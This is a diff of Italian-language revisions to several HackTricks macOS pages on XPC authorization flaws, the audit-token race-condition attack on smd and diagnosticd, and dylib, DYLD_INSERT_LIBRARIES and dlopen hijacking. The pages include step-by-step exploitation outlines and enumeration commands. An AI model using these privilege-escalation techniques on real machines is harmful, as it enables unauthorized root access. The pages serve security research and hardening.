src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
View File

@ -6,11 +6,11 @@
Apple propone anche un altro modo per autenticare se il processo di connessione ha **permessi per chiamare un metodo XPC esposto**.
Quando un'applicazione ha bisogno di **eseguire azioni come un utente privilegiato**, invece di eseguire l'app come un utente privilegiato, di solito installa come root un HelperTool come servizio XPC che può essere chiamato dall'app per eseguire quelle azioni. Tuttavia, l'app che chiama il servizio dovrebbe avere abbastanza autorizzazione.
Quando un'applicazione ha bisogno di **eseguire azioni come utente privilegiato**, invece di eseguire l'app come utente privilegiato, di solito installa come root un HelperTool come servizio XPC che può essere chiamato dall'app per eseguire quelle azioni. Tuttavia, l'app che chiama il servizio dovrebbe avere abbastanza autorizzazione.
### ShouldAcceptNewConnection sempre YES
Un esempio può essere trovato in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` prova a **connettersi** al **HelperTool**. E in `HelperTool/HelperTool.m` la funzione **`shouldAcceptNewConnection`** **non controllerà** nessuno dei requisiti indicati in precedenza. Restituirà sempre YES:
Un esempio può essere trovato in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` cerca di **connettersi** al **HelperTool**. E in `HelperTool/HelperTool.m` la funzione **`shouldAcceptNewConnection`** **non controllerà** nessuno dei requisiti indicati in precedenza. Restituirà sempre YES:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/
### Diritti dell'applicazione
Tuttavia, c'è un po' di **autorizzazione in corso quando viene chiamato un metodo dal HelperTool**.
Tuttavia, c'è una **autorizzazione in corso quando viene chiamato un metodo dal HelperTool**.
La funzione **`applicationDidFinishLaunching`** di `App/AppDelegate.m` creerà un riferimento di autorizzazione vuoto dopo che l'app è stata avviata. Questo dovrebbe sempre funzionare.\
Poi, cercherà di **aggiungere alcuni diritti** a quel riferimento di autorizzazione chiamando `setupAuthorizationRights`:
@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Nota che per **controllare i requisiti per ottenere il diritto** di chiamare quel metodo, la funzione `authorizationRightForCommand` controllerà solo l'oggetto commentato in precedenza **`commandInfo`**. Poi, chiamerà **`AuthorizationCopyRights`** per verificare **se ha i diritti** di chiamare la funzione (nota che i flag consentono l'interazione con l'utente).
Nota che per **verificare i requisiti per ottenere il diritto** di chiamare quel metodo, la funzione `authorizationRightForCommand` controllerà solo l'oggetto commento precedente **`commandInfo`**. Poi, chiamerà **`AuthorizationCopyRights`** per verificare **se ha i diritti** di chiamare la funzione (nota che i flag consentono l'interazione con l'utente).
In questo caso, per chiamare la funzione `readLicenseKeyAuthorization`, il `kCommandKeyAuthRightDefault` è definito come `@kAuthorizationRuleClassAllow`. Quindi **chiunque può chiamarlo**.
@ -240,17 +240,17 @@ sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
Poi, puoi leggere chi può accedere al diritto con:
Quindi, puoi leggere chi può accedere al diritto con:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
### Diritti permissivi
### Permessi permissivi
Puoi trovare **tutte le configurazioni dei permessi** [**qui**](https://www.dssw.co.uk/reference/authorization-rights/), ma le combinazioni che non richiederanno interazione da parte dell'utente sarebbero:
1. **'authenticate-user': 'false'**
- Questa è la chiave più diretta. Se impostata su `false`, specifica che un utente non ha bisogno di fornire autenticazione per ottenere questo diritto.
- Questo è usato in **combinazione con una delle 2 sotto o indicando un gruppo** a cui l'utente deve appartenere.
- Questo viene utilizzato in **combinazione con una delle 2 sotto o indicando un gruppo** a cui l'utente deve appartenere.
2. **'allow-root': 'true'**
- Se un utente opera come utente root (che ha permessi elevati), e questa chiave è impostata su `true`, l'utente root potrebbe potenzialmente ottenere questo diritto senza ulteriore autenticazione. Tuttavia, tipicamente, ottenere lo stato di utente root richiede già autenticazione, quindi questo non è uno scenario di "nessuna autenticazione" per la maggior parte degli utenti.
3. **'session-owner': 'true'**
@ -258,7 +258,7 @@ Puoi trovare **tutte le configurazioni dei permessi** [**qui**](https://www.dssw
4. **'shared': 'true'**
- Questa chiave non concede diritti senza autenticazione. Invece, se impostata su `true`, significa che una volta che il diritto è stato autenticato, può essere condiviso tra più processi senza che ciascuno debba ri-autenticarsi. Ma la concessione iniziale del diritto richiederebbe comunque autenticazione a meno che non sia combinata con altre chiavi come `'authenticate-user': 'false'`.
Puoi [**usare questo script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) per ottenere i diritti interessanti:
Puoi [**utilizzare questo script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) per ottenere i diritti interessanti:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -271,7 +271,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
```
## Reversing Authorization
### Controllare se EvenBetterAuthorization è utilizzato
### Checking if EvenBetterAuthorization is used
Se trovi la funzione: **`[HelperTool checkAuthorization:command:]`** è probabile che il processo stia utilizzando lo schema di autorizzazione precedentemente menzionato:
@ -289,9 +289,9 @@ La funzione **`shouldAcceptNewConnection`** indica il protocollo che viene espor
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
In questo caso, abbiamo lo stesso di EvenBetterAuthorizationSample, [**controlla questa riga**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
In questo caso, abbiamo lo stesso di EvenBetterAuthorizationSample, [**check this line**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Sapendo il nome del protocollo utilizzato, è possibile **dumpare la sua definizione dell'intestazione** con:
Sapendo il nome del protocollo utilizzato, è possibile **dump its header definition** con:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -329,7 +329,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
In questo esempio viene creato:
- La definizione del protocollo con le funzioni
- Un'autenticazione vuota da utilizzare per richiedere l'accesso
- Un'autenticazione vuota da utilizzare per richiedere accesso
- Una connessione al servizio XPC
- Una chiamata alla funzione se la connessione è stata effettuata con successo
```objectivec

6
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md
View File

@ -11,14 +11,14 @@ Quando viene stabilita una connessione a un servizio XPC, il server verificherà
2. Controlla se il processo di connessione è firmato con il **certificato dell'organizzazione** (verifica dell'ID del team).
- Se questo **non è verificato**, **qualsiasi certificato di sviluppatore** di Apple può essere utilizzato per la firma e connettersi al servizio.
3. Controlla se il processo di connessione **contiene un ID bundle appropriato**.
- Se questo **non è verificato**, qualsiasi strumento **firmato dalla stessa org** potrebbe essere utilizzato per interagire con il servizio XPC.
- Se questo **non è verificato**, qualsiasi strumento **firmato dalla stessa organizzazione** potrebbe essere utilizzato per interagire con il servizio XPC.
4. (4 o 5) Controlla se il processo di connessione ha un **numero di versione software appropriato**.
- Se questo **non è verificato**, un vecchio client insicuro, vulnerabile all'iniezione di processi, potrebbe essere utilizzato per connettersi al servizio XPC anche con gli altri controlli in atto.
- Se questo **non è verificato**, un client vecchio e insicuro, vulnerabile all'iniezione di processi, potrebbe essere utilizzato per connettersi al servizio XPC anche con gli altri controlli in atto.
5. (4 o 5) Controlla se il processo di connessione ha un runtime rinforzato senza diritti pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili d'ambiente DYLD).
1. Se questo **non è verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**.
6. Controlla se il processo di connessione ha un **diritto** che gli consente di connettersi al servizio. Questo è applicabile per i binari Apple.
7. La **verifica** deve essere **basata** sul **token di audit del client di connessione** **invece** che sul suo ID processo (**PID**) poiché il primo previene **attacchi di riutilizzo del PID**.
- Gli sviluppatori **raramente utilizzano l'API del token di audit** poiché è **privata**, quindi Apple potrebbe **cambiarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store.
- Gli sviluppatori **raramente utilizzano la chiamata API del token di audit** poiché è **privata**, quindi Apple potrebbe **cambiarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store.
- Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile.
- **`xpc_dictionary_get_audit_token`** dovrebbe essere utilizzato invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).

22
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
View File

@ -8,17 +8,19 @@
Se non sai cosa sono i messaggi Mach inizia a controllare questa pagina:
{{#ref}}
../../
{{#endref}}
Per il momento ricorda che ([definizione da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
I messaggi Mach vengono inviati tramite un _mach port_, che è un canale di comunicazione **a singolo ricevitore, più mittenti** integrato nel kernel mach. **Più processi possono inviare messaggi** a un mach port, ma in qualsiasi momento **solo un singolo processo può leggerli**. Proprio come i descrittori di file e i socket, i mach port sono allocati e gestiti dal kernel e i processi vedono solo un intero, che possono usare per indicare al kernel quale dei loro mach port vogliono utilizzare.
I messaggi Mach vengono inviati tramite un _mach port_, che è un canale di comunicazione **a ricevitore singolo, mittente multiplo** integrato nel kernel mach. **Più processi possono inviare messaggi** a un mach port, ma in qualsiasi momento **solo un singolo processo può leggerne**. Proprio come i descrittori di file e i socket, i mach port sono allocati e gestiti dal kernel e i processi vedono solo un intero, che possono usare per indicare al kernel quale dei loro mach port vogliono utilizzare.
## Connessione XPC
Se non sai come viene stabilita una connessione XPC controlla:
{{#ref}}
../
{{#endref}}
@ -27,8 +29,8 @@ Se non sai come viene stabilita una connessione XPC controlla:
Ciò che è interessante sapere è che **l'astrazione di XPC è una connessione uno a uno**, ma si basa su una tecnologia che **può avere più mittenti, quindi:**
- I mach port sono a singolo ricevitore, **più mittenti**.
- Il token di audit di una connessione XPC è il token di audit **copiato dal messaggio ricevuto più di recente**.
- I mach port sono a ricevitore singolo, **mittente multiplo**.
- Il token di audit di una connessione XPC è il token di audit **copia del messaggio ricevuto più di recente**.
- Ottenere il **token di audit** di una connessione XPC è fondamentale per molti **controlli di sicurezza**.
Sebbene la situazione precedente sembri promettente, ci sono alcuni scenari in cui questo non causerà problemi ([da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
@ -38,18 +40,18 @@ Sebbene la situazione precedente sembri promettente, ci sono alcuni scenari in c
Due diversi metodi in cui questo potrebbe essere sfruttabile:
1. Variante1:
1. Variante 1:
- **L'exploit** **si connette** al servizio **A** e al servizio **B**
- Il servizio **B** può chiamare una **funzionalità privilegiata** nel servizio A che l'utente non può
- Il servizio **A** chiama **`xpc_connection_get_audit_token`** mentre _**non**_ è all'interno del **gestore di eventi** per una connessione in un **`dispatch_async`**.
- Quindi un **messaggio diverso** potrebbe **sovrascrivere il Token di Audit** perché viene dispatchato in modo asincrono al di fuori del gestore di eventi.
- L'exploit passa a **servizio B il diritto di INVIO al servizio A**.
- Quindi svc **B** invierà effettivamente i **messaggi** al servizio **A**.
- L'**exploit** cerca di **chiamare** l'**azione privilegiata.** In un RC svc **A** **controlla** l'autorizzazione di questa **azione** mentre **svc B ha sovrascritto il token di audit** (dando all'exploit accesso per chiamare l'azione privilegiata).
- L'**exploit** cerca di **chiamare** l'**azione privilegiata**. In un RC svc **A** **controlla** l'autorizzazione di questa **azione** mentre **svc B ha sovrascritto il token di audit** (dando all'exploit accesso per chiamare l'azione privilegiata).
2. Variante 2:
- Il servizio **B** può chiamare una **funzionalità privilegiata** nel servizio A che l'utente non può
- L'exploit si connette con **servizio A** che **invia** all'exploit un **messaggio che si aspetta una risposta** in un **port** di **risposta** specifico.
- L'exploit invia a **servizio** B un messaggio passando **quel port di risposta**.
- L'exploit invia **servizio** B un messaggio passando **quel port di risposta**.
- Quando il servizio **B risponde**, **invia il messaggio al servizio A**, **mentre** l'**exploit** invia un **messaggio diverso al servizio A** cercando di **raggiungere una funzionalità privilegiata** e aspettandosi che la risposta dal servizio B sovrascriva il token di audit nel momento perfetto (Race Condition).
## Variante 1: chiamare xpc_connection_get_audit_token al di fuori di un gestore di eventi <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
@ -77,7 +79,7 @@ Per eseguire l'attacco:
![Immagine che rappresenta il processo di exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Il passo successivo implica istruire `diagnosticd` ad avviare il monitoraggio di un processo scelto (potenzialmente quello dell'utente). Contestualmente, viene inviato un afflusso di messaggi di routine 1004 a `smd`. L'intento qui è installare uno strumento con privilegi elevati.
5. Questa azione innesca una condizione di gara all'interno della funzione `handle_bless`. Il tempismo è critico: la chiamata alla funzione `xpc_connection_get_pid` deve restituire il PID del processo dell'utente (poiché lo strumento privilegiato risiede nel pacchetto dell'app dell'utente). Tuttavia, la funzione `xpc_connection_get_audit_token`, specificamente all'interno della sottoroutine `connection_is_authorized`, deve fare riferimento al token di audit appartenente a `diagnosticd`.
5. Questa azione innesca una condizione di gara all'interno della funzione `handle_bless`. Il tempismo è critico: la chiamata alla funzione `xpc_connection_get_pid` deve restituire il PID del processo dell'utente (poiché lo strumento privilegiato risiede nel pacchetto dell'app dell'utente). Tuttavia, la funzione `xpc_connection_get_audit_token`, specificamente all'interno della subroutine `connection_is_authorized`, deve fare riferimento al token di audit appartenente a `diagnosticd`.
## Variante 2: inoltro della risposta
@ -86,7 +88,7 @@ In un ambiente XPC (Cross-Process Communication), sebbene i gestori di eventi no
1. **`xpc_connection_send_message_with_reply`**: Qui, il messaggio XPC viene ricevuto e elaborato su una coda designata.
2. **`xpc_connection_send_message_with_reply_sync`**: Al contrario, in questo metodo, il messaggio XPC viene ricevuto e elaborato sulla coda di dispatch corrente.
Questa distinzione è cruciale perché consente la possibilità che **i pacchetti di risposta vengano analizzati in modo concorrente con l'esecuzione di un gestore di eventi XPC**. È importante notare che, sebbene `_xpc_connection_set_creds` implementi il locking per proteggere contro la sovrascrittura parziale del token di audit, non estende questa protezione all'intero oggetto di connessione. Di conseguenza, ciò crea una vulnerabilità in cui il token di audit può essere sostituito durante l'intervallo tra l'analisi di un pacchetto e l'esecuzione del suo gestore di eventi.
Questa distinzione è cruciale perché consente la possibilità che **i pacchetti di risposta vengano analizzati in modo concorrente con l'esecuzione di un gestore di eventi XPC**. È importante notare che, mentre `_xpc_connection_set_creds` implementa il locking per proteggere contro la sovrascrittura parziale del token di audit, non estende questa protezione all'intero oggetto di connessione. Di conseguenza, ciò crea una vulnerabilità in cui il token di audit può essere sostituito durante l'intervallo tra l'analisi di un pacchetto e l'esecuzione del suo gestore di eventi.
Per sfruttare questa vulnerabilità, è necessaria la seguente configurazione:
@ -95,7 +97,7 @@ Per sfruttare questa vulnerabilità, è necessaria la seguente configurazione:
- Il servizio **`A`** dovrebbe inviare un messaggio che prevede una risposta.
- L'utente può inviare un messaggio a **`B`** a cui risponderà.
Il processo di sfruttamento comporta i seguenti passaggi:
Il processo di sfruttamento coinvolge i seguenti passaggi:
1. Aspettare che il servizio **`A`** invii un messaggio che si aspetta una risposta.
2. Invece di rispondere direttamente a **`A`**, il port di risposta viene dirottato e utilizzato per inviare un messaggio al servizio **`B`**.
@ -110,7 +112,7 @@ Di seguito è riportata una rappresentazione visiva dello scenario di attacco de
## Problemi di scoperta
- **Difficoltà nel localizzare le istanze**: La ricerca di istanze di utilizzo di `xpc_connection_get_audit_token` è stata difficile, sia staticamente che dinamicamente.
- **Metodologia**: Frida è stata impiegata per collegare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non provenienti da gestori di eventi. Tuttavia, questo metodo era limitato al processo collegato e richiedeva un utilizzo attivo.
- **Metodologia**: Frida è stata impiegata per agganciare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non provenienti da gestori di eventi. Tuttavia, questo metodo era limitato al processo agganciato e richiedeva un utilizzo attivo.
- **Strumenti di analisi**: Strumenti come IDA/Ghidra sono stati utilizzati per esaminare i servizi mach raggiungibili, ma il processo è stato lungo, complicato da chiamate che coinvolgono la cache condivisa dyld.
- **Limitazioni di scripting**: I tentativi di scriptare l'analisi per le chiamate a `xpc_connection_get_audit_token` da blocchi `dispatch_async` sono stati ostacolati da complessità nell'analisi dei blocchi e interazioni con la cache condivisa dyld.

50
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md
View File

@ -15,11 +15,11 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES**
Questo è simile al [**LD_PRELOAD su Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permette di indicare a un processo che sta per essere eseguito di caricare una libreria specifica da un percorso (se la variabile di ambiente è abilitata)
Questo è simile al [**LD_PRELOAD su Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permette di indicare a un processo che sta per essere eseguito di caricare una libreria specifica da un percorso (se la variabile di ambiente è abilitata).
Questa tecnica può essere anche **utilizzata come tecnica ASEP** poiché ogni applicazione installata ha un plist chiamato "Info.plist" che consente di **assegnare variabili ambientali** utilizzando una chiave chiamata `LSEnvironmental`.
> [!NOTE]
> [!TIP]
> Dal 2012 **Apple ha drasticamente ridotto il potere** del **`DYLD_INSERT_LIBRARIES`**.
>
> Vai al codice e **controlla `src/dyld.cpp`**. Nella funzione **`pruneEnvironmentVariables`** puoi vedere che le variabili **`DYLD_*`** vengono rimosse.
@ -29,13 +29,13 @@ Questa tecnica può essere anche **utilizzata come tecnica ASEP** poiché ogni a
> - Il binario è `setuid/setgid`
> - Esistenza della sezione `__RESTRICT/__restrict` nel binario macho.
> - Il software ha diritti (runtime rinforzato) senza il diritto [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
> - Controlla i **diritti** di un binario con: `codesign -dv --entitlements :- </path/to/bin>`
> - Controlla i **diritti** di un binario con: `codesign -dv --entitlements :- </path/to/bin>`
>
> Nelle versioni più aggiornate puoi trovare questa logica nella seconda parte della funzione **`configureProcessRestrictions`.** Tuttavia, ciò che viene eseguito nelle versioni più recenti sono i **controlli iniziali della funzione** (puoi rimuovere gli if relativi a iOS o simulazione poiché non verranno utilizzati in macOS.
> Nelle versioni più aggiornate puoi trovare questa logica nella seconda parte della funzione **`configureProcessRestrictions`**. Tuttavia, ciò che viene eseguito nelle versioni più recenti sono i **controlli iniziali della funzione** (puoi rimuovere gli if relativi a iOS o simulazione poiché non verranno utilizzati in macOS).
### Validazione della Libreria
Anche se il binario consente di utilizzare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`**, se il binario controlla la firma della libreria da caricare non caricherà una personalizzata.
Anche se il binario consente di utilizzare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`**, se il binario controlla la firma della libreria da caricare, non caricherà una libreria personalizzata.
Per caricare una libreria personalizzata, il binario deve avere **uno dei seguenti diritti**:
@ -57,10 +57,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dylib Hijacking
> [!CAUTION]
> Ricorda che **le precedenti restrizioni sulla validazione delle librerie si applicano anche** per eseguire attacchi di Dylib hijacking.
> Ricorda che **le precedenti restrizioni sulla validazione della libreria si applicano anche** per eseguire attacchi di Dylib hijacking.
Come in Windows, anche in MacOS puoi **hijackare dylibs** per far **eseguire** **codice** **arbitrario** alle **applicazioni** (beh, in realtà da un utente normale questo potrebbe non essere possibile poiché potresti aver bisogno di un permesso TCC per scrivere all'interno di un pacchetto `.app` e hijackare una libreria).\
Tuttavia, il modo in cui le applicazioni **MacOS** **caricano** le librerie è **più ristretto** rispetto a Windows. Questo implica che gli sviluppatori di **malware** possono comunque utilizzare questa tecnica per **furtività**, ma la probabilità di poter **abusare di questo per elevare i privilegi è molto più bassa**.
Tuttavia, il modo in cui le applicazioni **MacOS** **caricano** le librerie è **più ristretto** rispetto a Windows. Ciò implica che gli sviluppatori di **malware** possono comunque utilizzare questa tecnica per **furtività**, ma la probabilità di poter **abusare di questo per elevare i privilegi è molto più bassa**.
Prima di tutto, è **più comune** trovare che i **binari MacOS indicano il percorso completo** alle librerie da caricare. E in secondo luogo, **MacOS non cerca mai** nelle cartelle del **$PATH** per le librerie.
@ -71,9 +71,9 @@ Ci sono **4 diversi comandi header** che un binario macho può utilizzare per ca
- Il comando **`LC_LOAD_DYLIB`** è il comando comune per caricare un dylib.
- Il comando **`LC_LOAD_WEAK_DYLIB`** funziona come il precedente, ma se il dylib non viene trovato, l'esecuzione continua senza alcun errore.
- Il comando **`LC_REEXPORT_DYLIB`** proxy (o riesporta) i simboli da una libreria diversa.
- Il comando **`LC_LOAD_UPWARD_DYLIB`** viene utilizzato quando due librerie dipendono l'una dall'altra (questo è chiamato una _dipendenza ascendente_).
- Il comando **`LC_LOAD_UPWARD_DYLIB`** viene utilizzato quando due librerie dipendono l'una dall'altra (questo è chiamato _dipendenza verso l'alto_).
Tuttavia, ci sono **2 tipi di dylib hijacking**:
Tuttavia, ci sono **2 tipi di hijacking di dylib**:
- **Librerie debolmente collegate mancanti**: Questo significa che l'applicazione cercherà di caricare una libreria che non esiste configurata con **LC_LOAD_WEAK_DYLIB**. Poi, **se un attaccante posiziona un dylib dove ci si aspetta che venga caricato**.
- Il fatto che il link sia "debole" significa che l'applicazione continuerà a funzionare anche se la libreria non viene trovata.
@ -90,12 +90,12 @@ compatibility version 1.0.0
- **Configurato con @rpath**: I binari Mach-O possono avere i comandi **`LC_RPATH`** e **`LC_LOAD_DYLIB`**. Basato sui **valori** di quei comandi, le **librerie** verranno **caricate** da **diverse directory**.
- **`LC_RPATH`** contiene i percorsi di alcune cartelle utilizzate per caricare librerie dal binario.
- **`LC_LOAD_DYLIB`** contiene il percorso a librerie specifiche da caricare. Questi percorsi possono contenere **`@rpath`**, che verrà **sostituito** dai valori in **`LC_RPATH`**. Se ci sono più percorsi in **`LC_RPATH`**, tutti verranno utilizzati per cercare la libreria da caricare. Esempio:
- Se **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` e **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` e `/application/app.app/Contents/Framework/v2/`. Entrambe le cartelle verranno utilizzate per caricare `library.dylib`**.** Se la libreria non esiste in `[...]/v1/` e un attaccante potrebbe posizionarla lì per hijackare il caricamento della libreria in `[...]/v2/` poiché l'ordine dei percorsi in **`LC_LOAD_DYLIB`** è seguito.
- Se **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` e **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` e `/application/app.app/Contents/Framework/v2/`. Entrambe le cartelle verranno utilizzate per caricare `library.dylib`**.** Se la libreria non esiste in `[...]/v1/` e un attaccante potrebbe posizionarla lì per hijackare il caricamento della libreria in `[...]/v2/` poiché l'ordine dei percorsi in **`LC_LOAD_DYLIB`** viene seguito.
- **Trova percorsi rpath e librerie** nei binari con: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOTE] > **`@executable_path`**: È il **percorso** alla directory contenente il **file eseguibile principale**.
> [!NOTE] > **`@executable_path`**: È il **percorso** della directory contenente il **file eseguibile principale**.
>
> **`@loader_path`**: È il **percorso** alla **directory** contenente il **binario Mach-O** che contiene il comando di caricamento.
> **`@loader_path`**: È il **percorso** della **directory** contenente il **binario Mach-O** che contiene il comando di caricamento.
>
> - Quando utilizzato in un eseguibile, **`@loader_path`** è effettivamente lo **stesso** di **`@executable_path`**.
> - Quando utilizzato in un **dylib**, **`@loader_path`** fornisce il **percorso** al **dylib**.
@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dlopen Hijacking
> [!CAUTION]
> Ricorda che **le precedenti restrizioni sulla validazione delle librerie si applicano anche** per eseguire attacchi di Dlopen hijacking.
> Ricorda che **le precedenti restrizioni sulla validazione della libreria si applicano anche** per eseguire attacchi di Dlopen hijacking.
Da **`man dlopen`**:
- Quando il percorso **non contiene un carattere slash** (cioè è solo un nome foglia), **dlopen() cercherà**. Se **`$DYLD_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà prima **in quella directory**. Successivamente, se il file macho chiamante o l'eseguibile principale specificano un **`LC_RPATH`**, allora dyld cercherà **in quelle** directory. Successivamente, se il processo è **non ristretto**, dyld cercherà nella **directory di lavoro corrente**. Infine, per i vecchi binari, dyld proverà alcuni fallback. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà in **quelle directory**, altrimenti, dyld cercherà in **`/usr/local/lib/`** (se il processo è non ristretto), e poi in **`/usr/lib/`** (queste informazioni sono state prese da **`man dlopen`**).
- Quando il percorso **non contiene un carattere slash** (cioè è solo un nome foglia), **dlopen() cercherà**. Se **`$DYLD_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà prima **in quella directory**. Successivamente, se il file mach-o chiamante o l'eseguibile principale specificano un **`LC_RPATH`**, allora dyld cercherà **in quelle** directory. Successivamente, se il processo è **non ristretto**, dyld cercherà nella **directory di lavoro corrente**. Infine, per i vecchi binari, dyld proverà alcuni fallback. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà in **quelle directory**, altrimenti, dyld cercherà in **`/usr/local/lib/`** (se il processo è non ristretto), e poi in **`/usr/lib/`** (queste informazioni sono state prese da **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(se non ristretto)
@ -131,7 +131,7 @@ Da **`man dlopen`**:
> Se non ci sono slash nel nome, ci sarebbero 2 modi per fare un hijacking:
>
> - Se qualche **`LC_RPATH`** è **scrivibile** (ma la firma viene controllata, quindi per questo hai anche bisogno che il binario sia non ristretto)
> - Se il binario è **non ristretto** e quindi è possibile caricare qualcosa dalla CWD (o abusando di una delle variabili ambientali menzionate)
> - Se il binario è **non ristretto** e quindi è possibile caricare qualcosa dalla CWD (o abusare di una delle variabili ambientali menzionate)
- Quando il percorso **sembra un percorso di framework** (ad es. `/stuff/foo.framework/foo`), se **`$DYLD_FRAMEWORK_PATH`** è stato impostato all'avvio, dyld cercherà prima in quella directory per il **percorso parziale del framework** (ad es. `foo.framework/foo`). Successivamente, dyld proverà il **percorso fornito così com'è** (utilizzando la directory di lavoro corrente per i percorsi relativi). Infine, per i vecchi binari, dyld proverà alcuni fallback. Se **`$DYLD_FALLBACK_FRAMEWORK_PATH`** è stato impostato all'avvio, dyld cercherà in quelle directory. Altrimenti, cercherà in **`/Library/Frameworks`** (su macOS se il processo è non ristretto), poi in **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
@ -143,9 +143,9 @@ Da **`man dlopen`**:
> [!CAUTION]
> Se un percorso di framework, il modo per hijackarlo sarebbe:
>
> - Se il processo è **non ristretto**, abusando del **percorso relativo dalla CWD** le variabili ambientali menzionate (anche se non è detto nella documentazione se il processo è ristretto le variabili ambientali DYLD\_\* vengono rimosse)
> - Se il processo è **non ristretto**, abusando del **percorso relativo dalla CWD** le variabili ambientali menzionate (anche se non è detto nei documenti se il processo è ristretto le variabili ambientali DYLD\_\* vengono rimosse)
- Quando il percorso **contiene uno slash ma non è un percorso di framework** (cioè un percorso completo o un percorso parziale a un dylib), dlopen() prima cerca (se impostato) in **`$DYLD_LIBRARY_PATH`** (con la parte foglia del percorso). Successivamente, dyld **prova il percorso fornito** (utilizzando la directory di lavoro corrente per i percorsi relativi (ma solo per i processi non ristretti)). Infine, per i vecchi binari, dyld proverà fallback. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà in quelle directory, altrimenti, dyld cercherà in **`/usr/local/lib/`** (se il processo è non ristretto), e poi in **`/usr/lib/`**.
- Quando il percorso **contiene uno slash ma non è un percorso di framework** (cioè un percorso completo o un percorso parziale a un dylib), dlopen() prima cerca (se impostato) in **`$DYLD_LIBRARY_PATH`** (con la parte foglia del percorso). Successivamente, dyld **prova il percorso fornito** (utilizzando la directory di lavoro corrente per i percorsi relativi (ma solo per i processi non ristretti)). Infine, per i binari più vecchi, dyld proverà fallback. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** è stato impostato all'avvio, dyld cercherà in quelle directory, altrimenti, dyld cercherà in **`/usr/local/lib/`** (se il processo è non ristretto), e poi in **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. percorso fornito (utilizzando la directory di lavoro corrente per i percorsi relativi se non ristretto)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -155,16 +155,16 @@ Da **`man dlopen`**:
> [!CAUTION]
> Se ci sono slash nel nome e non è un framework, il modo per hijackarlo sarebbe:
>
